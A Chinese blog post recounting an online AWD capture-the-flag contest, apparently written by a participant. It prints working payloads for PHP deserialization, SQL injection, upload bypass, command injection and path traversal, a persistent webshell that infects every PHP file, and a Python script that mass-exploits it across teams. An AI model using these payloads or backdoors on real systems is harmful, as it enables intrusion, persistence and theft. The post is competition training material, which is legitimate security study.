10.3 星盟安全周年庆举办了一场线上AWD比赛
参赛队伍总计31支,见到了不少熟悉的ID
神仙大战果然被暴打hhhhhh,运气好还水了一个小奖品。
学到了不少东西,今天来写一下复盘总结。
每个队伍分配到一个docker主机,给定web
(web)/pwn
(pwn)用户权限,通过特定的端口和密码进行连接;
每台docker主机上运行一个web服务或者其他的服务,需要选手保证其可用性,并尝试审计代码,攻击其他队伍。
选手需自行登录平台熟悉自助式初始化、api提交flag等功能。初始密码为队长所设密码,队长需在比赛开始前10分钟向主办方提交密码,过期未提交视为弃权。
选手可以通过使用漏洞获取其他队伍的服务器的权限,读取他人服务器上的flag并提交到平台上。每次成功攻击可获得5分,被攻击者扣除5分;有效攻击五分钟一轮。选手需要保证己方服务的可用性,每次服务不可用,扣除10分;服务检测五分钟一轮;
不允许使用任何形式的DOS攻击,第一次发现扣1000分,第二次发现取消比赛资格。
比赛最终结果将在10月3日晚19:00-19:30于北极星杯网络安全交流群直播公布,同时会有技术分享及抽奖活动,敬请关注。
这次比赛3个web 2个pwn
首先就是老套路,打包源码跟数据库,然后D盾扫一扫。
因为队友的分工是权限维持,自己的分工主要是get flag,就直接看漏洞吧。
三个冰蝎一个普通一句话
难受的就是自己主要是撸批量getflag脚本的,但是冰蝎的shell怎么tm写脚本啊喵喵喵???
第一时间写好了普通一句话的批量脚本
改了改让他自动提交
当时大家可能都还没修,手速快就自动交了两轮
但是可以看到10队已经上了通防脚本,返回了一个假的flag
sqlhelper.php最下面有这样一句
if (isset($_POST['un']) && isset($_GET['x'])){
class A{
public $name;
public $male;
function __destruct(){
$a = $this->name;
$a($this->male);
}
}
unserialize($_POST['un']);
}
$name 传个system $male传个cat /flag 就可以拿到flag了
payload:
GET: ?x=yzddmr6
POST: un=O:1:"A":2:{s:4:"name";s:6:"system";s:4:"male";s:9:"cat /flag";};
login.php
<?php
if (isset($_POST['username'])){
include_once "../sqlhelper.php";
$username=$_POST['username'];
$password = md5($_POST['password']);
$sql = "SELECT * FROM admin where name='$username' and password='$password';";
$help = new sqlhelper();
$res = $help->execute_dql($sql);
echo $sql;
if ($res->num_rows){
session_start();
$row = $res->fetch_assoc();
$_SESSION['username'] = $username;
$_SESSION['id'] = $row['id'];
$_SESSION['icon'] = $row['icon'];
echo "<script>alert('登录成功');window.location.href='/'</script>";
}else{
echo "<script>alert('用户名密码错误')</script>";
}
}
?>
可以看到直接把接收到了$username给带入到了sql语句中,产生注入
直接用万能密码就可以绕过
接着往下看登录之后可以做什么
info.php
if (isset($_FILES)) {
if ($_FILES["file"]["error"] > 0) {
echo "错误:" . $_FILES["file"]["error"] . "<br>";
} else {
$type = $_FILES["file"]["type"];
if($type=="image/jpeg"){
$name =$_FILES["file"]["name"] ;
if (file_exists("upload/" . $_FILES["file"]["name"]))
{
echo "<script>alert('文件已经存在');</script>";
}
else
{
move_uploaded_file($_FILES["file"]["tmp_name"], "assets/images/avatars/" . $_FILES["file"]["name"]);
$helper = new sqlhelper();
$sql = "UPDATE admin SET icon='$name' WHERE id=$_SESSION[id]";
$helper->execute_dml($sql);
}
}else{
echo "<script>alert('不允许上传的类型');</script>";
}
}
}
可以看到他对文件类型的判断仅仅是if($type=="image/jpeg")
这里在数据包里修改content-type即可绕过,所上传的文件将会保存在assets/images/avatars/
目录下。
但是由于平台数据库有点问题,无法进行注入,所以这个洞当时也没利用起来。
web2是web1的升级版,当时少看见一个文件读取的洞,亏死啦!
pww.php跟pass.php都是冰蝎。。。
不会写冰蝎的批量脚本,队伍又31个队,就基本没管这个后门
index.php里面就是一个普通的一句话
我们可以看到D盾还报了一个exec后门
直接把$host双引号里带入
然后看一下$host是怎么来的
然后看数据是如何放入数据库的
在收到$_POST['host']
后程序还经过了一层addslashes操作,过滤其中的单双引号还有斜杠
但是实际上在执行的$r = exec("ping -c 1 $host");
这一句中并不需要引号逃逸,所以他的过滤操作并没有什么卵用。
因为exec是没有回显的,所以构造以下payload
||cat /flag > /ver/www/html/1.txt
把flag输出到网站根目录下
好像是需要登录,具体我也忘了
img.php
<?php
$file = $_GET['img'];
$img = file_get_contents('images/icon/'.$file);
//使用图片头输出浏览器
header("Content-Type: image/jpeg;text/html; charset=utf-8");
echo $img;
exit;
payload:/img.php?img=../../../../../../../flag
同web1,只不过不需要x参数了
能利用起来的好像就这一个洞,当时也没来得及看
export.php
<?php
if (isset($_POST['name'])){
$name = $_POST['name'];
exec("tar -cf backup/$name images/*.jpg");
echo "<div class=\"alert alert-success\" role=\"alert\">
导出成功,<a href='backup/$name'>点击下载</a></div>"}
?>
老套路,同web2
payload: || cat /flag > /var/www/html/1.txt ||
其实AWD比赛刚开始的时候,最重要的是维持权限而不是急着交flag。
当我还在审第一个web的时候,看到预留后门就问队友要不要给他框架弹个shell
结果他告诉我框架爆炸了。。。弹shell一直500。。。
缓缓打出三个问号???喵喵喵???
以前都是用团队的这个框架没问题,结果今天死活连不上。。。。
GG,这咋整啊,31个队手工维权吗。。。
所以就只能搞一些骚操作
撸了一串脚本,来回跑,然后加上接口自动提交,没有框架只能这样了
对,没错,我们就是乌鸦,坐了别的队的飞机。
自己靶机的流量日志上发现了别的队伍的payload
写了个脚本看了下,几乎所有的队伍都被种上了这个师傅的马
不死马循环写入,被删后马上复活
你的马看起来不错,下一秒就是我的了。
白嫖了好几轮的flag
然后闲的没事想着不如连上蚁剑看看吧,找找其他师傅的马
批量导入一下
看见其他队伍被种了马,满怀热泪的帮他们删了站。
有一个队伍被命令注入打惨了,也帮他们删个站吧。
当然还看到不少其他队伍的马
甚至还有批量上waf的py脚本
毕竟是其他队伍的内部脚本,象征性打个码
流量日志里还发现一个狼人队伍的循环感染不死马
会遍历目录把所有的php文件头部加上后门
<?php if (md5($_REQUEST['pass'])==="8e68ca4946b8e146a408f727eaf9da7c"){@eval($_REQUEST['code']);@system($_REQUEST['sys']);} ?>
不过惊讶的是他的md5居然可以解开
somd5牛逼!
好马,下一秒就是我的了
批量脚本走起
import requests
import json
url="http://39.100.119.37:{0}{1}80/login/index.php?pass=Happy.Every.Day&code=system('cat /flag');"
def submit(flag):
hosturl="http://39.100.119.37:10000/commit/flag"
data={'flag':flag,"token":"xxxxx"}
data=json.dumps(data)
r=requests.post(hosturl,data=data,headers={"Cookie":"PHPSESSID=xxxxx","Content-Type":"application/json; charset=UTF-8"})
print(r.text)
for j in range(1,4):
for i in range(1,32):
i=str(i).zfill(2)
url1=url.format(j,i)
print(url1)
try:
res=requests.get(url=url1)
if 'flag' in res.text:
submit(res.text[0:38])
print(res.text[0:38])
except:
pass
最后web基本上都修了,payload已经打不动了
只能靠不死马来get flag
因为开始手快,得分比较多,还有负责修的队友比较给力,掉分不是很多。
然而毕竟是白嫖别人的马,所以增长分数的速度越来越慢
最后还往后掉了一名,不过还拿个小奖hhhhh
师傅们一个个都心狠手辣,但是说到最后还是自己有很多没有考虑到的地方
因为框架主要是需要先弹个shell到自己的服务器,然后才能自动维权,get flag等一系列操作
但是开始框架崩了后直接懵了,不知道怎么办
其实现在想自己完全可以当时重写一个批量种不死马的脚本来维权
但是当时31个队伍,三个一堆洞的web,难免有些手忙脚乱。
有些队伍的通防很厉害,匹配到关键字直接返回一个假的flag,自己准备也写一个。
怀疑他们用的都是一家的脚本。。。。返回的flag都一样
AWD一般都是线下赛,线上AWD见得还不多。
星盟的这个线上赛体验还是很不错的,能够撑住31个队伍,每个队伍5个题也是挺厉害的
中途虽然平台有宕机但是很快就恢复了。
给星盟点个赞,希望今后能够越办越好~
本人水平有限,文笔较差,如果有什么写的不对的地方还希望大家能够不吝赐教